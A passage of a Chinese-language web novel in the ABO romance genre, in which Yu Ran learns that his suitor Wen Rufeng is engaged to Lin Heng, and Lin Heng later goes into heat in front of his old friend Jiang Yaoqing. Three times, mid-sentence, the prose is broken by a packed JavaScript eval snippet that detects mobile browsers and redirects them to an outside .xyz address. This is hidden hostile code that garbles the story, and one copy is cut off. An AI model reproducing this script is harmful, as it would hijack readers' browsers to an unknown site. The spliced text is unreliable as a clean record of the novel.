郁燃挑了挑眉,戏谑地应了声:“新欢送的,满意了?” 他的目光再次扫过众人,嘴角的笑意更深了,“那么,最后一局,开始吧。” 然而话音刚落,便意外横生。 “郁总!郁总!” 一名服务生穿过庭院,绕过泳池,气喘吁吁地赶来:“有位客人给您送来了礼物,要我现在交到您手上。” “哦?” 场上先是一静,尔后嬉笑声乍起:“哟,郁哥,有艳福了啊?” “这是新嫂子送的?挺个性啊,你别说,和你的风格还挺配啊……” “今天是你们的纪念日?难怪你手气这么好……什么时候把嫂子领来给大家瞧瞧啊?” 被交到郁燃手中的,是一大捧漂亮的花束。 漆黑的玫瑰、马蹄莲和郁金香高傲地扬着脸,被泛黄的英文报纸层层围绕。在花与花的缝隙里,有一张相片,巴掌大小,薄刃似地立在中央。 郁燃两指一探,夹了过来。 有脸皮厚的借着酒劲凑了过来,瞪大两眼打量着:“哎呀,这相片里的场景是……” 光线微弱,他辨认了会儿,随后一拍大腿:“我靠!郁哥这是被求婚了啊!” “啊?什么!真的假的!” “厉害呀!新嫂子闷声不响来了个大招啊!” “你看见什么了?眼花了吧?” 像巨石落入湖水一般,周围的人群瞬间骚动起来。 在嘈杂的质疑声里,那位脸皮颇厚的邻座砰地一拍桌子,气势汹汹道:“谁说我眼花了?照片里明晃晃地印着呢!空空的顶楼温室、瀑布似的黑色花海、墙上誊着雪莱的情诗、还有闪闪烁烁的灯火……这不是求婚是什么?我当年就是这么向我前妻求婚的!” “顶楼温室?浪潮的顶楼温室?就是咱们身后的那个?” “不然呢?难道是你家顶楼吗?” “你怎么知道这是雪莱的情诗?你什么时候这么有文化了?” “我怎么就没文化了?我看不懂诗我还不认识‘shelley’吗?” “……行了别吵了。” 郁潇轻喝一声,转脸看向服务生:“谁把这花交给你的?” “是一位二十多岁的男士,姓唐,自称是郁总‘好友’的助理。他说自家老板有惊喜要献给郁总,人已经在温室等候了。” “真的假的?曾少,今晚有人订了浪潮的温室吗?” 曾成文正询问手下人,两人窃窃私语一阵,才回答道:“确实有。有位唐先生预定了。前台告诉过他今晚浪潮被包场了,没邀请函不能进,他却说他是郁哥这边的人,到时候一起进场。” “一起进场?我和我哥就俩人,自己来的,哪儿有什么人一起进来……” “嗨,潇潇,这你就不懂了吧,这是故布疑阵,是小情侣之间的情趣。你就是太直肠子,所以才追不到那个姓程的……” “我说你……” “好了。” 一言未发的郁燃忽然开口了。 他仍是那副风流怠懒的模样,随手把相片往桌上一扣,指尖点了两下。 某人曾玩笑似地说过,要送他黑色花海,那人的助理也恰巧姓唐。 闻如峰吗? 他心底啧了一声。 “我去一趟。” 郁燃撑着沙发扶手,慢吞吞地起身,扣严了风衣纽扣:“潇潇,你坐。最后一局,你替我打。” 有不识相的开口揶揄起来,一脸看热闹不嫌事大的表情:“郁哥,送你这束花的人,和送你胸针的新欢,是同一个人吧?要是一不小心把胸针输了,嫂子是不是得生气啊?” 这番挑唆没什么威慑力,郁燃无动于衷,甚至还冲妹妹笑了声:“潇潇,随便玩,别放在心上。输了也没什么,一个Alpha而已,哄两句就好了。” 说罢,他随手拎起花束,吹了声口哨便离开了。 22. 受害者 迈入通往温室的电梯时,郁燃有些心不在焉。 搞什么把戏?求婚吗?有点滑稽了。 他从口袋里摸出香烟盒,敲出一支衔上,火苗啪地一闪,一缕轻烟徐徐飘起了。 郁燃闲闲地吞云吐雾,按他的经验,回绝并不难,好言好语地劝几句,再给个台阶下,便能轻松打发了。 叮的一声,电梯到达了顶楼。郁燃单手插进口袋,慢条斯理地吐着烟圈,他穿过灯光昏暗的走廊,停在一扇巨大的玻璃门前,随手叩了三声。 咚、咚、咚—— 他右手一撑,吱呀一声,门扉缓缓地敞开了。 下一瞬,郁燃的瞳孔不由自主的缩紧了。 眼前的景象,和预想中大相径庭。 穹顶没有炫目的灯光、墙上没有金色的情诗、周遭没有瀑流似的玫瑰花海。在正对面的观景位上,只有一张椭圆形岩桌,摆着孤零零的几支花,细瘦颀长的茎托着紫黑饱满的头颅,像一只只诡秘的眼睛,阴沉寡言地凝视着他。 郁燃蓦地取下唇边的香烟,两指一甩,弹落在地。 他的鞋跟用力一碾,烧了三分之一的烟卷便咽了气。 “真可惜,还以为是闻如峰……” 他盯着坐在观景台边的那人,拍了拍大衣前襟,散了散烟味,才迈进门槛。 “早知道约我的是这样一位美人,我肯定要赢下最后一轮牌局,提着满当当的钻石来,作为献给你的见面礼。” 他的声音含着笑,语气轻佻,却不惹人厌,“请问你是?” 桌前那人站起身来,一身灰白,气质超群,虽不是极美的皮囊,却风姿凛凛,一坐一站、或静或动,轻易便能夺去旁人的目光。 “郁总好,又见面了。” 迎着郁燃的视线,这位雌雄莫辨的美人温声道:“我姓林,叫林衡。您请坐。” 他按响了服务铃:“天气冷,我点了热茶和新出炉的司康,不知道您肯不肯赏面,同我闲聊一会儿。放心,我不会占用您的时间太久,不会让您错过派对的高潮。” 郁燃打量着他,目光在眉骨和眼窝处细细逡巡,须臾后笑道:“客气了,林先生。” 郁燃敞开大衣,在对面坐下来,服务生端来伯爵茶、冒着白气的司康、热松饼和烘烤的三明治。 人影来来去去,郁燃的视线却始终停在林衡的脸孔上,直到温室里重归沉寂,他才若有所思道:“你是为了闻如峰来找我的?” 林衡两手搭在膝盖上,“何以见得?” “因为你借用了唐助理的身份,他是闻如峰的贴身助理;也因为那张印着漆黑花海的相片,这源自闻如峰的一句调笑。很明显,你的行动全部指向他,我猜你和闻如峰很熟,他的许多事你都了如指掌……” 郁燃捧起面前的茶杯,吹了吹悬浮的热气:“你找我来,是想了解他的感情生活?” 林衡定定地瞧着他喝茶时翘起的手指,过了一会儿才道:“确实如此。但听了您的话,我又多了项义务。” “怎么?” “刚刚我报上姓名后,您的表情纹丝不变;您猜中了我的来意,却是通过推理得出的。很明显,您不知道我和闻如峰有着怎样的关系,否则您在听到‘林衡’二字后,立马就会变了脸色,不会泰然自若地坐下来同我喝茶……” 林衡与郁燃四目相接:“我是闻如峰的未婚妻。” 郁燃的眉梢陡然一跳,满脸的笑容霎时无影无踪。 “看来您也是受害者。” 一阵相顾无言的寂静后,林衡轻轻叹气:“交往这么久,您根本不知道,在一个半月前,闻如峰和我相亲,在一周之前,两家正式订婚,是吗?” 说完这句,林衡替郁燃有些不值。 这等俊美潇洒、家境优渥的风流人物,可谓是天生的社交明星,俘获倾慕者想必形同呼吸喝水般自然。 只可惜,他的家里不由分说地为他敲定了婚事,他只得同“瑶池”维持着形同鸡肋的感情。更可惜的是,在结婚前夕,他因为放不下旧情,受了闻如峰的蛊惑,一头栽进轰轰烈烈的地下情,殊不知与他山盟海誓的男人竟是别人的未婚夫…… 真是一出令人无言的悲剧。 他几乎要这样盖棺定论了。 郁燃慢慢搁下茶杯,不可置信地笑道:“你这句‘交往这么久’,是什么意思?” 林衡一怔,双眼略微睁大了。 “第一,我没和他交往。第二,我们认识不过三个多月而已。” 郁燃一瞬不瞬地盯着林衡,食指指背慢吞吞地蹭过下颌:“你是不是误会了什么?” 他的话像一个浪头,向林衡猛地拍过去。 什么意思? “那请问……方便讲下你们的关系吗?” “当然,这没什么好避讳的。三个月前,在一场派对上,我遇见了闻如峰。像我的无数个爱慕者一样,随口聊过几句后,他便自顾自地展开了追求……” 郁燃拈起叉子,颇给面子地切了一角司康,咀嚼了一阵。 “在近期的追求者中,闻如峰还算魅力中上,更重要的是,他的攻势不温不火。他毕竟三十岁了,有些阅历,做人做事都有分寸,我便给了他个机会,一个在我无聊时陪我打发时间的机会。” 林衡复述着他的末句:“无聊时陪你打发时间……的机会……” “是啊。比如酒桌上缺人,蹦迪开卡时缺人,打麻将时缺人……他都是我最方便的候补,随叫随到。我心情好了,会送他张电影票、同他喝咖啡,偶尔随手逗一逗,施舍些肢体接触,就像逗逗宠物狗……不好意思,是不是让你不舒服了?” 见林衡摇头,他便笑吟吟地继续道:“我这种人,玩性大,遇到还算顺眼的,便总爱撩拨几句。楼下派对里的那些人也是,氛围到了,调情和握手没什么两样。所以对我而言,闻如峰算什么呢?好听一点,叫做‘新欢’,直白一点,叫做解闷的‘玩具’。我没和他交往,不止我这样说,我身边人这样看,他自己也一清二楚。” “在我的生活里,这类‘玩具’多如牛毛,他不是最英俊的一个,也不是最趁手的一个,现在看来,甚至可以说是人品最低劣的一个。最可笑的是,他还不止一次在我面前畅想两人的未来……如果我知道他有婚约在身,小衡,我甚至懒得施舍给他一个眼神。” 他悄然换了对林衡的称呼,林衡却浑然未觉,只是继续追问着:“可是……允许我冒昧地问一句,您有交往中的对象吗?” 郁燃没立即回答,他单手撑着头,用某种意味不明的眼神瞧了他一会儿:“小衡,我要澄清一点,我是单身。我只养‘玩具’,没有恋人。” 林衡的思维慢慢冷却下来。 这幅神情,全然不像是在说谎。 可他分明收到过“瑶池”的V信消息,也曾经和“瑶池”通过语音电话,那人开场白的第一句,便是“我是郁燃的未婚夫”…… 难不成“瑶池”在说谎? 为什么他要说谎?他的目的到底是什么? “但……您的家里人有没有催过您步入婚姻呢?” “我是Beta,还是男性,有什么好催的?就算来催,难道催得动吗?” 郁燃略微歪着头:“我年纪轻轻,正是四处潇洒的好年龄,比起守着家里的孤灯一盏,我宁肯在欢场上一掷千金……” 林衡心乱如麻。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436947|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无暇整理自己的思绪:“明白了。您不喜欢闻如峰,也没同闻如峰交往过,更不知道他有未婚妻。是他单方面追求您、纠缠您、欺骗您,对吗?” “没错。” 郁燃十分配合:“除此之外,他送过我许多贵重礼物,大多数都被我拒绝了。他也提出过许多无礼的请求,包括性请求,无一例外都被拒绝了。我和他都清楚,他只是我身边的‘玩具’,能用嘴唇碰我的手都该感恩戴德。你可以将我们的录音发给任何人,我也乐于同闻如峰当面对峙,权当我破坏你们婚事的弥补。” 聪明老练如郁燃,自然猜到两人的谈话全被摄录下来了。 差不多了。 林衡取下别在衣襟上的针孔摄像头,按了关机键:“我需要的素材足够了,非常感谢。还有些私人问题,方便解答下吗?” “当然。” 郁燃生了双桃花眼,只要他有意,看谁都深情款款,“只是别用敬语了。” “好。‘瑶池’这个网名,你听说过吗?” 郁燃眨了眨眼:“应该没有。” “一周前,有位叫‘瑶池’的网友主动加我V信。昨天中午,他约我在墨白咖啡见面,十二点时我如约而至,而他却已经离开了……” 郁燃的眉头渐渐蹙起了。 林衡静静地回望着他:“没错,他借着面基的名义把约我出去,实则是想让我撞破你和闻如峰的关系。” 郁燃神色变了:“他是谁?他怎么会知道我在墨白咖啡?” “我不清楚他的姓名,他不肯透露。他自称是你的未婚夫,因察觉你出轨了闻如峰,便派了私家侦探来调查,更巧的是,他发现闻如峰竟是自己陌生网友的未婚夫,所以才设下这个局……” “他雇了私家侦探跟踪我?” 郁燃忽然冷笑一声:“我怎么不知道我有个‘未婚夫’?藏头露尾的,阴曹地府里的鬼吗?” 这话阴恻恻的,语气相当刺人,听得林衡有些赧然:“有件事我该向你道歉。在墨白咖啡厅里,我依照‘瑶池’的指示,录下了你和闻如峰亲昵互动的画面……” “没关系,视频随你处置。” 郁燃面上的冷淡一扫而空,他凝视着林衡,笑得可谓是柔情似水:“小事而已,能帮上你的忙,我就满足了。” 不对劲。 这样一位富贵、倨傲又玩世不恭的人物,竟对林衡如此纵容,怎样想来都有些异常。 林衡拉过温热的瓷盘,持刀切分松饼:“还有个问题,郁总,我的上半张脸,有什么特别之处吗?” “叫我阿郁。”郁燃托着腮望着他:“何出此言?” “昨天在墨白咖啡,你和闻如峰一道离开时,视线好巧不巧落在我身上。我分明戴着口罩,可你依然停了脚步,仔仔细细地打量我的脸。今晚你我见面后,你也始终注视着我的眼睛,我的上半张脸,有什么值得探究的地方吗?” “因为你美。” 郁燃的眼里流露出几丝玩味:“也因为你与人对视时毫不避让。你的样子真的很有趣……” “是吗?阿郁见过的俊男美女,多如过江之鲫,我的眉眼远远称不上一骑绝尘。但你偏偏打量得很认真,难不成我触发了你的回忆?” 说罢,林衡将切好的松饼推至郁燃面前,绿色的冰激凌半溶了,沿着边缘缓缓淌下来。 郁燃的神情不像方才那般轻慢了。 他撂下了支在桌边的手肘,嘴唇缓缓动了下—— 嗡、嗡、嗡…… 郁燃的手机忽然震响了。 他垂眼一看,厌烦地咋了下舌,随即将手机翻转过来,只见三个大字出现在屏幕上—— 闻如峰。 23. 信息素 那个厚颜无耻、舌灿莲花的渣滓竟然打电话来了。 郁燃冲林衡扬了下眉:“接不接?” 林衡长按摄像头开关,点了下头。 郁燃按下免提,对面传来一声甜蜜的问候:“喂?小郁?你在‘浪潮’?” 和平素大不相同,与心上人通话的闻如峰语气殷勤,嗓音磁性十足,不知是在刻意施展魅力,还是装模作样地撒娇。 林衡听得两腮一抽,寒意从尾椎直直蹿上天灵盖,浑身的寒毛都倒竖起来了。 仿佛又闻到了令他作呕的信息素。 “嗯,我在打牌,有事?” “没事。我手里的工作忙完了,想来陪你。” 郁燃噙着笑看向林衡,道:“不太方便,今晚都是年轻人,玩得也特别开。我身边莺莺燕燕的,你来了,大家都扫兴。” 郁燃常年混迹于风月场,腔调难改,随口一句便充满了暗示的意味。 而他口中的“莺燕”却浑然无觉,或者说毫不在乎,只是端正地坐在沙发上,静静地回望着他。 “这么狠心?亏我整整一天都在想你……” 电话另一头传来一阵做作的叹气:“如果你不要我,我就只能开车回家,一个人孤零零地喝闷酒,含着眼泪在梦里等你了。” 林衡的脸色微微变了。 如果闻如峰不来“浪潮”,就要回家了。可林衡此刻却偏偏不在家。 万峰药业到家的距离,比“浪潮”近十公里。无论如何,他都没办法先一步赶回。若是穿着满是脂粉香的行头回家,肯定会遭遇严苛的盘问。 林衡同郁燃做口型,用气声说道:“让他来。” “行吧,你来,什么时候到?我派人接你。” “三十分钟左右。” “嗯,我继续打牌,先挂了。” “好的宝贝,咱们一会儿……” 嘟—— 郁燃将手机调转,递给林衡,语气很是眷恋:“你我聊得这么投机,还有这么一重令人啼笑皆非的缘分,或许该加个联系方式,对不对?” “当然……” 存过号码和V信后,林衡将手机递回,沉静地凝视着郁燃:“谢谢你,阿郁。另外我要向你道一句对不起。在你我见面之前,我的心里存着猜疑——怀疑你明知闻如峰有婚约,却仍旧与他开始了一段地下情……” 他顿了顿,目光仿若清清的潭水,“现在我很庆幸,误会澄清前我的态度足够礼貌。希望你能原谅我狭隘的臆想,你坦荡、有魅力、人也风趣,不知道我有没有机会,和你交个朋友?” 郁燃潋滟的眼波忽然变得深邃。 他的背渐渐挺直了,似笑非笑的神态从颊边褪去了,四散的神光聚拢在点漆似的眸子里,“很难想象,生着这样一副面孔的人,竟会有着令人讶异的率真。” 他的瞳仁仿若黑洞,似要将林衡深深地吸纳进去:“不惧怕坦陈阴暗的猜忌,也不认为道歉是件难为情的事——有没有人说过,你对待自己很坦诚?” “有。但对我而言,这只是基本的礼貌。倒是阿郁的反应很有趣,你似乎对我的相貌很执着?” 林衡啜了口红茶:“我让阿郁想起谁了?” “唇边弄脏了,粘了碎屑。” 郁燃忽然点了点自己的嘴角,恢复了略显轻佻的笑容。 林衡一怔,拈起纸巾蹭了蹭,“这里?” “不是。” “这儿?” “也不对……” 郁燃站起身来,向前倾去。他的影子覆在林衡面前的餐碟上,“我帮你。” 伴着低低的一句,他的长指探过来,白莹莹地一晃,似要落在林衡丰润的唇角。 吱呀—— 玻璃门被毫无征兆地推开了。 室内昏柔的灯光瞬间涌入幽黑的走廊,仿若从高处泄入洼地的水流,淌过某人的短发、衣褶、鞋跟,勾勒出一位不速之客的轮廓。 那人的目光不曾在郁燃的脸上停留半秒,浅黑的眼眸紧锁着林衡,漂亮的薄唇开合:“阿衡。” 真是难以形容的一瞬。 方才处变不惊的林衡,瞳仁蓦地一缩,素净的两颊腾起一抹血色。 是江耀清。 太奇妙了,他登场的一刹那,周遭的男女瞬间沦为陪衬。他太过耀目,一举一动、一怒一笑,火焰似的烙在眼底,四目交接的一刻,雪花光点转瞬便塞满了视野,世界褪成了白茫茫一片。 “走。” 林衡恍惚起身,全身的每个关节遵循听那人的号令,他几乎感受不到自己的存在。 玄而又玄,无从逃离的吸引力。 “也好……” 郁燃的声音模模糊糊的,听不真切,仿佛来自水下:“姓闻的要来了,还有不到二十分钟……我们下次见……” 林衡浑浑噩噩的,额头烧得愈发厉害,他动了下眼珠,木然地开口:“一起……” “你们先走。” 郁燃的视线落在江耀清身上,稍稍笑了下:“一起出现在派对上,肯定会被追问,毕竟江总一贯是焦点。江总今晚大驾光临,是来看曾少的?” 江耀清这才施舍他一眼:“嗯。回见。” 林衡像喝醉了似的,外表毫无异样,却只有他自己清楚,脚底像踩着棉花,飘悠悠的,越走越酸乏,直到迈出门槛,他才找回点气力,慢慢回头看向目送他的郁燃。 “阿郁……” 他的声音有些含混。 郁燃缓缓向他露出微笑。 嘭—— 玻璃门被重重带上了。 “怎么了?” 江耀清的剑眉压下来,狭长的眼睑也微微屈起了,“你……” 他的声音蓦地止住了。 下一瞬,耀清的唇忽地抿直了,脸颊的线条也收紧了,面孔顿时锐利起来,通体的肌肉急剧蓄力,弓弦般紧紧绷起。 林衡扶着墙壁,神智涣散地挪动脚步,直到蹭过拐角处,后背才重重一靠,扬起脖颈喘气:“不好意思,我……” 他说不下去了,脸上浮着红潮,费力地挪动着手指,碰向起皱的裤线。 停在他一步之外的江耀清,黑瞳缩紧乱颤,脸上泛着病态的青白,手指克制地攥紧了,关节甚至发出细微的脆响。 一阵甜里发苦的橘皮气味,正丝丝缕缕地渗出来,在空调风声里散开轻柔无形的触角。 是Omega的信息素。 “发情期……的药……” 林衡的指头湿滑打颤,好不容易才探进长裤的口袋,捉住细长光滑的药瓶,一点点将它取出来。 拐角处的信息素浓郁得几乎爆炸。 江耀清脑中嗡地一声,脚下一个踉跄,手肘下意识一撑,重重地磕在墙壁上。 咚—— 江耀清漂亮的脸孔瞬间拧起了。 他腺体退化,易感期紊乱,Omega的信息素像一记重拳,狠狠攻击他的感官,冷汗霎时便湿了衬衫。 可这下无意的撞击,却隆隆地震响,惊到了昏沉虚弱的Omega。 林衡打了个寒噤,绵软的手指一松,药瓶直直坠下。 啪嗒,瓶身跌落在地板上,一阵骨碌碌的响动后,摇摇晃晃地躺在了耀清的脚下。 耀清的鞋尖猛地一撤,像被它烫到了似的。 林衡喘息着垂下头,身体贴着墙慢慢下滑,两手吃力地撑在打抖的膝盖上。 这不应该,他的发.情期不该这么猛烈,哪怕抑制剂药效过了,也不该…… 他用最后的力气甩了甩头,艰难地移除脑中杂乱的念头,颤巍巍地乞求道:“耀清,求你……” 他察觉不到自己的语气多细弱,几乎是含着泪的。 耀清的鞋尖却停留在原地,久久不动,仿佛脚下是泥泞的沼泽。 林衡受不住了,他的五指攥紧了前襟,急促地吐息,“那你帮我……找郁……” “燃”字还没落地,江耀清忽地动身了。 他一点点躬下身来,探出苍白的手掌,指尖一寸寸地靠近,带着不可自制的颤抖,好似正伸进蟒蛇毒雾弥漫的巨口,去触碰寒光凛冽的利齿。 掌心的冷汗落在地毯上,也滴在细细的瓶身上,却掩盖不住林衡遗留的信息素。 捏住瓶底的刹那,他的神经仿佛被刀锋狠狠割断。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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自他发作起,室内便激荡着两人汹涌急躁的呼吸声,沉重的、失控的、水淋淋的,一声叠着一声,仿佛是汗水与痛楚交汇成的浪潮。 忍受折磨的不止他一人。 林衡猛地醒过神来,意识到方才的信息素对耀清是怎样可怕的冲击。 A大腺体科主治医的嘱咐言犹在耳:“……在遭受电击后,病人的腺体功能会被严重破坏。当外界Omega的信息素浓度过于激烈时,他的腺体会进入‘过载’状态,出现恶心、头晕、全身发热、过敏等症状,甚至会短暂晕厥……” 林衡浑身一僵,强劲的畏惧感抓紧了他的胃,他突然不敢看江耀清的表情。 “耀、耀清……对不起,我……” “唇边脏了。” 窗边的阴影下,传来江耀清的声音,乏力又微弱。 林衡下意识抬手摸了摸唇,湿漉漉的,他小心地蹭了蹭:“司康屑吗……” “药水。” 林衡心底一跳,连忙摸出纸巾,擦了擦脸上的湿痕。 “还有。” 江耀清抬起眼皮,目光黏着林衡的上唇。 林衡一愣,几乎在那一瞬间,他跌入了暧昧的错觉,仿佛江耀清会亲自凑过来,蜻蜓点水地抚过他嘴唇的上缘。 然而,耀清只是低下头,单手拽出西装外套下的项链。 啪嗒,项链的扣子解开了,他随手一抛:“自己看。” 林衡条件反射地一接,原来是耀清在酒会上戴过的银链。他掰动相片盒,盖子啪地打开,月色洒在镜片上,反射出一丝冷光。 镜子中的他,长发凌乱地黏在脸上,眼角是尚未干涸的泪,唇边微微泛红,一星深棕的药渍点唇边,仿佛是小小的痣。 这样琐碎的细节,隔着两步远的距离,竟会被分毫不错地纳入眼底。 真不知是月色太亮,还是耀清火眼金睛。 拭去水渍后,他正欲递还,却听见一句:“你留着吧。” 林衡一愣,忽然明白了他的含义。他眼皮微微一抖:“我擦干净了再给你。” 江耀清没有回应,只是投去一瞥。 他转过身去服药,三分钟后,身体停止了颤抖,随后向着消防通道的方向,大踏步地离开了。 “快走。” 24. 酒色场 在沉默的暗潮中,两人一前一后,循着消防通道下楼,寥落的足音在寂静的走廊里回荡。 林衡的双腿毫无知觉地迈动,他魂游天外,脑海中满是嘈杂的质问声: 为什么信息素会失控?耀清从刺激中恢复了吗?他会不会就此远离我…… 万千杂念,颠来倒去,在他的心间凝成一粒种子,生出奇异的惶惑、赧然与怅惘。 ——他和耀清,已是性征成熟的两个成年男人,是适婚年龄的Alpha和Omega,不再是一对青涩的少年人了。 十七岁那年,在深红图腾夏令营的帐篷里,他受了Alpha信息素的恶意刺激,被诱导着进入了发情期,是江耀清为他打了人生中第一针抑制剂。 彼时十五岁的江耀清,尚未分化,像许多男孩一样,在课堂上学过生理知识,但面对第二性别的分野依旧懵懂。 当同吃同住的好朋友汗水淋漓地倒在地上时,他的反应是错愕、是慌乱,弄清状况后,他将人抱回床铺,抄起针筒就像抄起螺丝刀,对准肿热的腺体一针刺入。 闷在帐篷里的信息素四下流窜,可对他而言,却是来自另一个世界的信号,是他收听不到的波段。 热腾腾、湿淋淋的诱惑伸出无数触角,而他轻盈地穿过,穿过一切甜的、苦的、腻人的气味绳索。 当空空的针管啪地坠入垃圾桶时,江耀清冷森森的面孔下压抑着暴涨的怒火。 将陷害林衡的始作俑者毒打一通,是不通风月的少年人唯一的念头。 可七年之后,当他再次撞上旧友的发情期,被卷入甜香与汗水的涡流,会激起怎样的反应呢? 除去生理上的寒毛倒竖、意欲作呕,恐怕还有秘而不宣的难堪,像鞋子里的砂砾,刻磨着他的脚。 生疏的关系、私密的接触、不堪的情态…… 不敢细想,不敢发声,甚至不敢变换步伐的节奏、呼吸的频率,简直像两个间谍,分明注意力停在彼此身上,却只能装得镇定、疏远、泰然自若。 直到他们下到一楼时,耀清才毫无预兆地停下脚步。 江耀清回过身来,月色似一层薄薄的银霜,冻结在他的脸上,“拿着。” 说话的功夫,一道弧线一闪而过。 林衡扬手一接,是一支极其袖珍的阻隔剂。 他拔了盖子,从头喷到脚,又将喷头转向耀清,密匝匝地喷了许久,最后犹豫着将小小的铝瓶揣起来:“下次还你……” 口袋里的铝瓶和耀清的吊坠盒轻轻一碰,发出叮的一声。 要还的人情越来越多。 他甚至不敢理直气壮地宣称这绝非故意。 “闻总到哪里了?”耀清问。 林衡摸出手机,点开定位器绑定的APP,“快上高架了,预计十五分钟到。” “去和曾少打个招呼,然后就走。” “好。” 两人步履匆匆、一言不发地迈出矮楼。他们踏入石子路,绕过粼粼的池水,脚下的地灯一闪一闪,照出一对青色的影子。 三分钟后,江耀清停下脚步:“该怎么表现,知道吗?” 此时此刻,他们正停在半明半暗的树篱后,植物的叶片随着灯光变色,在空气里微微震动。 距离声色犬马的派对现场,仅剩一步之遥。 林衡收拾好心情,深深地呼吸,“知道。” 话一出口,他仿佛被按下开关,脊背下意识地舒展挺直,杂乱无章的心绪从脸上抹去了,取而代之的是倨傲、静定与从容。 他自小便在社交场中饱受历练,这种转变,几乎是本能。 江耀清投去一眼,林衡默契地跟上,穿过拱门的一瞬,空气中立时响起比基尼女郎的嬉笑和口哨声。 几位身穿泳装、蜜色皮肤的女郎靠在喷泉边,朝他们招手。有人殷勤地凑过来,眨着星星般的电眼:“嘿,帅哥美女,晚上好呀,怎么称呼?” 江耀清惜字如金:“江,林。” 他的不耐几乎刻在脸上,女郎只得调转面孔,同他身旁的女伴调笑:“幸会幸会,这位貌若天仙的林小姐……” 话没说完,女郎还未抛出的媚眼便僵在脸上。 “林小姐”高挑异常,身材纤薄,眼珠乌湛湛的,神光内藏。 她脸很素,苍白透明,脂粉似乎被泪浸过,却平添了晦暗、冷淡、神经质的美,白金色长发顺着脊背而下,像一层亮而凛冽的刀光,在寒风的拨弄里震颤。 “林小姐”冲女郎颔了颔首。 女郎的两颊蹭地飞红,不自然地嗫嚅着:“林、林小姐,你们二位,是不是……” “我找曾少。” 江耀清打断了她的话,他迅速抬腕,盯了眼手表:“哪边走?” “那边,泳池旁边的高台,二位只需要……” 林衡跟随面色不虞的江耀清,步入了霓虹织成的喧嚣光云。 这是二十一世纪的酒池肉林,到处是蒸腾的烟雾、异色的射灯、狂舞的肢体……魅惑的电子节奏鼓动着酩酊的男男女女,在喷泉、在丛林、在水下恣肆狂欢,上流人变得下流,下流事被包装得上流——真是一场兽性盎然的倒错盛宴。 在狂热的浪潮中,林衡跟着江耀清阴恻恻地闯进来,像一对鬼魂显形在纸醉金迷的现世里。 两人的现身,虽悄无声息,但到底引起了一阵骚动。 他们太出挑,样貌衣履,自成格调,总会吸引到一对对耽于享乐的眼珠——先是瞧见气质出尘的林衡,触电似的一惊,继而撞见阴郁的江耀清,被唬得不敢搭讪,只得远远地行注目礼。 江耀清高视阔步,眼风锐利,目之所及男女纷纷埋头,简直像镰刀割过麦田,金灿灿亮闪闪的头颅垂成一片,滚烫火辣的气氛霎时被他压下沸点。 林衡离得最近,完全能感受到耀清是何等的躁郁难当。 红男绿女身上的气味剧烈地侵袭江耀清的神经。无数甜的、辣的、尖锐的、腐臭的味道肆意杂交,泥沙俱下,将他卷入浑浊的漩涡。他头脑热得像碳,四肢却凉得可怖,本就衰退的腺体几乎要过载了。 或许还有林衡陪伴在侧的缘故——方才那出闹剧后,那些别扭的、生涩的、难堪的、无从宣之于口的感触,在他心里掀起狂澜,让他郁结、烦闷、躁动…… 一定是这样的,林衡很清楚,即便他们多年未见,可他却没来由地清楚——因为自己的抗拒、焦躁、厌憎也分毫不逊,正在胃里爆炸。 林衡手心里汗涔涔的,想扶一把耀清的手肘,却又畏葸不前。 真是进退两难。 谢天谢地,他们总算到了泳池边。 二三十名男女拎着酒杯,含着香烟,左拥右抱,笑闹尖叫。几位婀娜曼妙的比基尼女郎正穿梭其间,又劝又哄又推又搡,将痴傻烂醉的众人归成一排。 似乎有什么好戏亟待上演。 两人的步子本能地加快了,当真如离弦之箭一般,笔直地刺向泳池边的高台。 高台之上,有人正等着看戏。 “曾少”曾成文正与三两好友嬉闹谈笑,时而插科打诨,时而互相恭维,话里话外离不开游艇、跑车、美人。偶有活腻歪的作弄一下抱臂而立的郁潇,郁大小姐抬脚就踢,细细的高跟往膝盖骨上死命碾,哎呦呦的惨叫声一响,高台上便一起爆发出嘹亮的掌声与笑声。 “曾少,都调试好了,还有十分钟……”有侍者低声汇报。 “嗯。按照计划走。” 曾成文将空杯递给他,松了松领带,醉眼迷离地笑道,“告诉老汪,‘燃素X’尽管用,把氛围一鼓作气推向高潮,今年最最热辣的夜晚就是现在了。” “曾少大气!这种没上市的贵得离谱的玩意,都能给哥们搞来助兴?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451415|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “曾少你别让老汪当助理了,你看我行不行?我跟你混了!每天晚上都在成辉大门口开车接你!” “去去去!少拍马屁!” 曾少笑骂:“一会儿再来几局骰子,输的给我滚到底下去,换上亮片裙和‘火车’里的家伙一起跳舞,都不许耍赖!” “行行行,我哪儿是输不起的人呢……对了,郁哥呢?派对的高潮,他不会要错过了吧?” “小郁今晚被人求婚了,估计正在天台上哭得稀里哗啦呢。” “胡说八道什么呢?” 郁大小姐瞬间拉下脸,“那个姓闻的就是我哥的新玩具而已,我哥肯纡尊降贵陪他玩,都是他天天烧高香求来的……” “是是是……话说回来,你哥这么潇洒,怎么你就学不会一星半点啊?郁大小姐怎么非要在一棵树上吊死啊?” 